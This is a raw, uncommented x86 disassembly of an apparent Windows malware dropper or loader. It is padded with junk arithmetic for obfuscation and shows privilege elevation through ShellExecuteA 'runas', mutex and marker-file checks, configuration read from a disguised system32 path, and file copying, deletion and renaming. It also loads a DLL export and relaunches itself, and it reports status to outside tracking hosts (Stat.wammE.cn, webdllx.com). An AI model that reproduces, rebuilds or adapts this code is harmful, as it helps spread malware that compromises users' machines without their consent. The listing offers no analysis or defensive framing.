mov eax, dword [0x45dbdc]
mov ecx, dword [0x45dbe4]
imul eax, eax, 0x3e6f678
lea edi, [edx + esi]
imul edi, edi, 0x2baab78
add edi, eax
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov ebx, edx
add edi, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x35bbff4
shr ebx, 0x1f
add ebx, edi
add ebx, edx
mov eax, 0x974409b3
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
push 0
mov dword [0x45dbdc], ecx
call fcn.00430eda
mov edx, dword [0x45dbd4]
mov eax, dword [0x45dbc8]
mov ecx, dword [0x45dbd8]
lea edi, [eax + edx]
mov esi, dword [str._r_____r____]
imul edi, edi, 0x3e78532
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x293e68d
sub edi, eax
add edi, edx
mov eax, 0x2ee68aa5
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xcfdc5805
imul esi
add edx, esi
sar edx, 0x19
mov esi, edx
add edi, edx
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfb0]
shr esi, 0x1f
push edx
add esi, edi
lea eax, [ebp - 0x214]
sub esi, ecx
push str.C:Program_Files_s
push eax
mov dword [0x45dbe4], esi
call fcn.00430971
add esp, 0xc
push 1
lea ecx, [ebp - 0x214]
push ecx
push 0
lea edx, [ebp - 0x114]
push edx
push str.runas
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
cmp eax, 0x20
jg 0x40449b
mov ecx, dword [0x45dbd0]
mov esi, dword [0x45dbc8]
imul esi, esi, 0x3e6f678
mov eax, 0x1066a8b3
imul ecx
sar edx, 0x16
add esi, edx
mov edi, edx
mov eax, 0x4f2cca89
imul ecx
sar edx, 0x18
shr edi, 0x1f
add edi, esi
add edi, edx
mov esi, edx
mov eax, 0x4c3a114b
imul ecx
mov eax, dword [0x45dbe0]
mov ecx, dword [0x45dbe4]
imul eax, eax, 0xac2519
sar edx, 0x18
shr esi, 0x1f
add esi, edi
mov edi, edx
add esi, edx
shr edi, 0x1f
add edi, esi
sub edi, eax
push 0
mov eax, 0x974409b3
imul ecx
push 0
push 0
push 0
add edx, ecx
push str.http:__Stat.wAmmE.cn_C8c_gL_cnZz61.html_paGehttp:__www.WEBDllX.COM_RUNEXEFAIL
sar edx, 0x19
push 0x45dbbc
mov ecx, edx
push 0
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0xfc4]
push 0
push 1
add edx, 0x74
sub edi, ecx
push 0x68
push edx
mov dword [0x45dbc8], edi
call fcn.004430e2
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
jmp 0x4036ef
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0x3e8
call edi
jmp 0x4036ef
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x45dbd0]
mov esi, dword [0x45dbc8]
imul esi, esi, 0x3e6f678
mov eax, 0x1066a8b3
imul ecx
sar edx, 0x16
add esi, edx
mov ebx, edx
mov eax, 0x4f2cca89
imul ecx
shr ebx, 0x1f
add ebx, esi
sar edx, 0x18
add ebx, edx
mov esi, edx
mov eax, 0x4c3a114b
imul ecx
mov eax, dword [0x45dbe0]
mov ecx, dword [0x45dbe4]
imul eax, eax, 0xac2519
sar edx, 0x18
shr esi, 0x1f
add esi, ebx
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
sub ebx, eax
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0xfa4]
push edx
sub ebx, ecx
push 0x101
mov dword [0x45dbc8], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x403785
push 0
call fcn.00430eda
push 0x3e8
call edi
push 0x413c
lea eax, [ebp - 0x314]
push 0x44db00
push eax
call fcn.00430971
add esp, 0xc
lea ecx, [ebp - 0x314]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [0x5605c0], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x40386c
mov edx, dword [0x45dbd4]
mov eax, dword [0x45dbc8]
mov ecx, dword [0x45dbd8]
lea edi, [eax + edx]
mov esi, dword [str._r_____r____]
imul edi, edi, 0x3e78532
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x293e68d
sub edi, eax
add edi, edx
mov eax, 0x2ee68aa5
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xcfdc5805
imul esi
add edx, esi
sar edx, 0x19
add edi, edx
mov esi, edx
mov eax, 0xc41087d7
imul ecx
mov eax, dword [0x45dbb8]
add edx, ecx
sar edx, 0x1a
shr esi, 0x1f
mov ecx, edx
shr ecx, 0x1f
add esi, edi
add ecx, edx
sub esi, ecx
cmp eax, 0xffffffff
mov dword [0x45dbe4], esi
je 0x403865
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
push 0
call fcn.00430eda
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe4]
imul esi, esi, 0x3e6f678
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
add esi, edx
mov ebx, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x33bbc84
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45dbcc]
add ebx, edx
mov eax, 0x83228937
imul esi
mov eax, dword [0x45dbe8]
add edx, esi
imul eax, eax, 0x20e865f
sar edx, 0x19
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
sub esi, eax
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add ecx, esi
sub ecx, edx
add ecx, 0x276937b
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbcc], ecx
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
jne 0x403921
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
je 0x403921
push 0xea60
call edi
mov ecx, dword [0x45dbd8]
mov esi, dword [0x45dbd0]
mov eax, 0x1066a8b3
imul ecx
imul ecx, ecx, 0x5390766
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov ebx, eax
mov eax, 0xcfdc5805
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
sub ebx, eax
imul edx, edx, 0x20e865f
mov eax, dword [0x45dbc8]
imul eax, eax, 0x362805a
add ebx, edx
add ebx, eax
add ebx, ecx
mov ecx, dword [0x45dbdc]
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
sub ebx, dword [0x45dbe4]
push 0
sub ebx, 0x3e6f678
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [0x45dbd0], ebx
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
je 0x404428
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
je 0x404428
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov ebx, dword [0x45dbc8]
mov eax, 0xc69fb513
imul ebx, ebx, 0x293e68d
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0x3e6f678
sub ebx, edx
mov edi, dword [0x45dbe0]
mov eax, 0x4f2cca89
imul esi
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x83228937
imul edi
add edx, edi
imul edi, edi, 0x3e78532
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, edi
mov ebx, eax
mov edi, dword [0x45dbcc]
mov eax, 0x7c780d21
imul esi
imul esi, esi, 0x20e865f
sar edx, 0x18
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
sub eax, ecx
mov dword [0x45dbd8], eax
mov eax, 0x2ee68aa5
imul edi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbdc]
imul edx, edx, 0x362805a
mov ebx, edi
imul ebx, ebx, 0x33bbc84
sub ebx, eax
add ebx, esi
mov esi, dword [0x45dbd4]
add ebx, edx
mov eax, 0xc41087d7
imul esi
add edx, esi
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc41087d7
imul edi
add edx, edi
sar edx, 0x1a
mov eax, edx
shr eax, 0x1f
add ebx, ecx
push str.C:_WINDoWS_system32driverSetc_serViCe5.ini
add eax, edx
add eax, ebx
push 0x200
lea ecx, [ebp - 0xc14]
mov dword [str._r_____r____], eax
push ecx
push 0x44de89
push str.ConfigL0
push str.GameType1
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edi, 0x44de89
lea esi, [ebp - 0xc14]
mov ecx, 1
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x403f02
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe4]
mov eax, 0xc69fb513
imul esi, esi, 0x3e6f678
imul ecx
mov eax, dword [0x45dbe0]
add edx, ecx
imul eax, eax, 0x33bbc84
sar edx, 0x19
add esi, edx
mov edi, edx
shr edi, 0x1f
add edi, esi
mov esi, dword [0x45dbcc]
add edi, eax
mov eax, 0x83228937
imul esi
add edx, esi
sar edx, 0x19
mov esi, edx
add edi, edx
mov edx, dword [0x45dbe8]
imul edx, edx, 0x20e865f
shr esi, 0x1f
add esi, edi
sub esi, edx
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add esi, edx
mov edx, dword [str._r_____r____]
add eax, esi
lea ecx, [ebp - 0xc14]
push ecx
sub eax, edx
lea edx, [ebp - 0x14cc]
add eax, 0x276937b
push 0x12c
push edx
mov dword [0x45dbcc], eax
call fcn.004012d0
add esp, 0xc
cmp eax, 5
jl 0x403f02
mov ecx, dword [0x45dbdc]
mov esi, dword [str._r_____r____]
mov eax, dword [0x45dbd8]
lea edi, [eax + esi]
imul esi, esi, 0x293e68d
mov eax, 0xc69fb513
imul edi, edi, 0x362805a
imul ecx
add edx, ecx
sar edx, 0x19
add edi, edx
mov ebx, edx
mov edx, ecx
imul edx, edx, 0x33bbc84
shr ebx, 0x1f
add ebx, edi
add ebx, esi
add ebx, edx
mov eax, 0x83228937
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebx + ecx - 0x3e6f678]
mov ecx, dword [ebp - 0x14cc]
mov eax, ecx
mov dword [0x45dbd4], edx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403c26
sub eax, esi
cmp byte [eax + ecx - 1], 0x5c
jne 0x403c4c
mov eax, dword [ebp - 0x14c0]
push eax
push ecx
push str._s_s
lea ecx, [ebp - 0x614]
push ecx
jmp 0x403c60
mov edx, dword [ebp - 0x14c0]
push edx
push ecx
push 0x44dd04
lea eax, [ebp - 0x614]
push eax
call fcn.00430971
mov esi, dword [0x45dbcc]
mov ecx, dword [0x45dbd0]
mov edx, dword [0x45dbdc]
imul edx, edx, 0x3e6f678
lea edi, [ecx + esi]
mov ecx, dword [0x45dbe4]
imul edi, edi, 0x2baab78
add edi, edx
mov eax, 0xc69fb513
imul ecx
mov eax, dword [0x45dbe0]
add edx, ecx
imul eax, eax, 0x35bbff4
sar edx, 0x19
mov ebx, edx
add edi, edx
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, 0x974409b3
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
add ebx, edx
add esp, 0x10
lea edx, [ebp - 0x614]
push edx
shr ecx, 0x1f
lea eax, [ebp - 0x414]
add ecx, ebx
push str._s.bak
push eax
mov dword [0x45dbdc], ecx
call fcn.00430971
add esp, 0xc
push 0
lea ecx, [ebp - 0x414]
push ecx
lea edx, [ebp - 0x614]
push edx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x614]
push eax
call edi
mov ecx, dword [0x45dbd4]
mov edx, dword [0x45dbc8]
mov esi, dword [str._r_____r____]
lea ebx, [edx + ecx]
mov ecx, dword [0x45dbd8]
imul ebx, ebx, 0x3e78532
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x293e68d
sub ebx, eax
add ebx, edx
mov eax, 0x2ee68aa5
imul ecx
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xcfdc5805
imul esi
mov ecx, dword [0x45dbe4]
add edx, esi
sar edx, 0x19
mov esi, edx
add ebx, edx
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr esi, 0x1f
shr ecx, 0x1f
add ecx, edx
add esi, ebx
lea edx, [ebp - 0x614]
sub esi, ecx
push 0
push edx
mov dword [0x45dbe4], esi
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
mov eax, 0x1066a8b3
je 0x403e4f
mov ecx, dword [0x45dbd0]
mov esi, dword [0x45dbc8]
imul ecx
imul esi, esi, 0x3e6f678
sar edx, 0x16
add esi, edx
mov ebx, edx
mov eax, 0x4f2cca89
imul ecx
shr ebx, 0x1f
add ebx, esi
sar edx, 0x18
add ebx, edx
mov esi, edx
mov eax, 0x4c3a114b
imul ecx
mov eax, dword [0x45dbe0]
mov ecx, dword [0x45dbe4]
imul eax, eax, 0xac2519
sar edx, 0x18
shr esi, 0x1f
add esi, ebx
mov ebx, edx
add esi, edx
shr ebx, 0x1f
add ebx, esi
sub ebx, eax
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
lea edx, [ebp - 0x414]
sub ebx, ecx
push edx
mov dword [0x45dbc8], ebx
call edi
push 0
call fcn.00430eda
mov ecx, dword [0x45dbd8]
imul ecx
imul ecx, ecx, 0x5390766
mov esi, dword [0x45dbd0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0xcfdc5805
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
sub edi, eax
imul edx, edx, 0x20e865f
mov eax, dword [0x45dbc8]
imul eax, eax, 0x362805a
add edi, edx
add edi, eax
add edi, ecx
mov ecx, dword [0x45dbdc]
mov eax, 0xc41087d7
imul ecx
mov eax, dword [0x45dbe4]
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub edi, ecx
sub edi, eax
lea edx, [ebp - 0x614]
push edx
lea eax, [ebp - 0x414]
sub edi, 0x3e6f678
push eax
mov dword [0x45dbd0], edi
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x614]
lea ecx, [ebp - 0x814]
nop
mov dl, byte [eax]
inc eax
mov byte [ecx], dl
inc ecx
test dl, dl
jne 0x403ef0
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [0x45dbd4]
mov esi, dword [0x45dbe8]
mov ebx, dword [0x45dbc8]
mov eax, 0xc69fb513
imul ebx, ebx, 0x293e68d
imul edi
add edx, edi
sar edx, 0x19
mov ecx, esi
imul ecx, ecx, 0x3e6f678
sub ebx, ecx
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4f2cca89
imul esi
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45dbe0]
mov eax, 0x83228937
imul ecx
add edx, ecx
imul ecx, ecx, 0x3e78532
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
add eax, ecx
mov ebx, eax
mov eax, 0x7c780d21
imul esi
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
lea eax, [ebp - 0x814]
mov dword [0x45dbd8], ecx
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x403f93
sub eax, esi
mov dword [ebp - 0xfa8], eax
jne 0x403fab
push 0
call fcn.00430eda
mov edx, dword [0x45dbc8]
add edi, edx
mov esi, dword [str._r_____r____]
imul edi, edi, 0x3e78532
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x293e68d
sub edi, eax
add edi, edx
mov eax, 0x2ee68aa5
imul ecx
mov ecx, dword [0x45dbe4]
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0xcfdc5805
imul esi
add edx, esi
sar edx, 0x19
mov esi, edx
add edi, edx
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr esi, 0x1f
shr ecx, 0x1f
add ecx, edx
add esi, edi
lea edx, [ebp - 0x814]
sub esi, ecx
push 0
push edx
mov dword [0x45dbe4], esi
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
jne 0x4041a7
mov ecx, dword [0x45dbc8]
mov esi, dword [0x45dbe4]
mov eax, 0xc69fb513
imul esi, esi, 0x3e6f678
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbd0]
mov edi, eax
imul edx, edx, 0xa7d5f7
mov eax, dword [0x45dbd8]
imul eax, eax, 0x33bbc84
sub edi, esi
add edi, edx
mov edx, dword [str._r_____r____]
add edi, eax
mov eax, 0x4c3a114b
imul edx
sar edx, 0x18
mov eax, edx
shr eax, 0x1f
add eax, edx
push 0
sub edi, eax
push 0
push 0
mov eax, 0x83228937
imul ecx
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.webdllx.com_NotDllx
add edx, ecx
push 0x45dbbc
sar edx, 0x19
push 0
mov ecx, edx
add edi, edx
mov edx, dword [ebp - 0xfc4]
push 0
push 1
shr ecx, 0x1f
add edx, 0x74
add ecx, edi
push 0x68
push edx
mov dword [0x45dbe8], ecx
call fcn.004430e2
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x2c
push 0x2710
call edi
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbcc]
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, esi
imul eax, eax, 0x33bbc84
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
add ebx, eax
mov eax, 0x2ee68aa5
imul esi
sar edx, 0x17
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe8]
sub ebx, eax
imul edx, edx, 0x20e865f
mov eax, dword [0x45dbdc]
imul eax, eax, 0x362805a
add ebx, edx
add ebx, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xc41087d7
imul esi
add edx, esi
sar edx, 0x1a
sub ebx, ecx
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
push 0
push str.C:Program_FilesMicrosoftSeaPort1.ini
mov dword [str._r_____r____], eax
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
je 0x4041a0
push 0
push str.C:Program_FilesWindows_NTAccessOries1.ini
call fcn.00430d0d
add esp, 8
cmp eax, 0xffffffff
jne 0x4041ad
push 0
call fcn.00430eda
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0x814]
lea edx, [ebp - 0xa14]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x4041c0
mov ecx, dword [0x45dbd4]
mov esi, dword [0x45dbe4]
imul esi, esi, 0x3e6f678
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
add esi, edx
mov ebx, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x33bbc84
shr ebx, 0x1f
add ebx, esi
mov esi, dword [0x45dbcc]
add ebx, edx
mov eax, 0x83228937
imul esi
mov eax, dword [0x45dbe8]
add edx, esi
imul eax, eax, 0x20e865f
sar edx, 0x19
mov esi, edx
add ebx, edx
shr esi, 0x1f
add esi, ebx
sub esi, eax
mov eax, 0x974409b3
imul ecx
add edx, ecx
sar edx, 0x19
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
sub ecx, dword [str._r_____r____]
add ecx, 0x276937b
push 0x132db2c
mov dword [0x45dbcc], ecx
call sym.CallDll.exe_int___cdecl_pro_cess5_int_
add esp, 4
push 0x1388
call edi
mov esi, dword [0x45dbe8]
mov ebx, dword [0x45dbc8]
mov ecx, dword [0x45dbd4]
imul ebx, ebx, 0x293e68d
mov edx, esi
imul edx, edx, 0x3e6f678
sub ebx, edx
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0x4f2cca89
imul esi
sar edx, 0x18
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
sub ebx, ecx
mov ecx, dword [0x45dbe0]
mov eax, 0x83228937
imul ecx
add edx, ecx
imul ecx, ecx, 0x3e78532
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add ebx, edx
add eax, ebx
add eax, ecx
mov ebx, eax
mov eax, 0x7c780d21
imul esi
sar edx, 0x18
mov eax, edx
mov ecx, dword [ebp - 0xfc4]
push 0
push 0
push 0
push 0
push str.http:__Stat.wammE.cn_c8C_Gl_cNzz60.html_pagehttp:__www.WebDllx.com_NewRun
push 0x45dbbc
push 0
push 0
push 1
shr eax, 0x1f
add ebx, edx
add ecx, 0x74
add eax, ebx
push 0x68
push ecx
mov dword [0x45dbd8], eax
call fcn.004430e2
add esp, 0x2c
push 0x2710
call edi
mov ecx, dword [0x45dbdc]
mov esi, dword [str._r_____r____]
mov edx, dword [0x45dbd8]
lea ebx, [edx + esi]
imul esi, esi, 0x293e68d
mov eax, 0xc69fb513
imul ebx, ebx, 0x362805a
imul ecx
add edx, ecx
sar edx, 0x19
add ebx, edx
mov eax, edx
shr eax, 0x1f
add eax, ebx
mov edx, ecx
imul edx, edx, 0x33bbc84
add eax, esi
add eax, edx
mov ebx, eax
mov eax, 0x83228937
imul ecx
add edx, ecx
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45dbe0]
sub ebx, eax
lea eax, [ebx + edx - 0x3e6f678]
mov dword [0x45dbd4], eax
mov dword [ebp - 0xfac], 0
mov esi, dword [0x45dbcc]
imul ecx, ecx, 0x3e6f678
mov edx, dword [0x45dbd0]
lea ebx, [edx + esi]
imul ebx, ebx, 0x2baab78
add ebx, ecx
mov ecx, dword [0x45dbe4]
mov eax, 0xc69fb513
imul ecx
add edx, ecx
sar edx, 0x19
add ebx, edx
mov eax, edx
mov edx, dword [0x45dbe0]
imul edx, edx, 0x35bbff4
shr eax, 0x1f
add eax, ebx
add eax, edx
mov ebx, eax
mov eax, 0x974409b3
imul esi
add edx, esi
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
mov eax, 0xc41087d7
imul ecx
add edx, ecx
sar edx, 0x1a
mov ecx, edx
shr ecx, 0x1f
add ebx, edx
add ecx, ebx
push 0x2710
mov dword [0x45dbdc], ecx
call edi
mov eax, dword [ebp - 0xfac]
mov ecx, dword [0x45dbdc]
inc eax
mov dword [ebp - 0xfac], eax
jmp 0x404391
mov ecx, dword [0x45dbdc]
mov esi, dword [str._r_____r____]
mov edx, dword [0x45dbd8]
lea ebx, [edx + esi]
imul esi, esi, 0x293e68d
mov eax, 0xc69fb513
imul ebx, ebx, 0x362805a
imul ecx
add edx, ecx
sar edx, 0x19
add ebx, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x33bbc84
shr eax, 0x1f
add eax, ebx
add eax, esi
add eax, edx
mov ebx, eax
mov eax, 0x83228937
imul ecx
add edx, ecx
mov ecx, dword [0x45dbe0]
sar edx, 0x19
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ebx, eax
lea edx, [ebx + ecx - 0x3e6f678]
push 0x493e0
mov dword [0x45dbd4], edx
call edi
push 0
call fcn.00430eda
xor eax, eax
mov ecx, 0x11
lea edi, [ebp - 0x100c]
rep stosd dword es:[edi], eax
push 0x200
lea eax, [ebp - 0xa14]
push eax
push 0
mov dword [ebp - 0x100c], 0x44
mov dword [ebp - 0xfe0], 1
mov word [ebp - 0xfdc], 5
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea ecx, [ebp - 0x101c]
push ecx
lea edx, [ebp - 0x100c]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
lea eax, [ebp - 0xa14]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov eax, 0x40449b
ret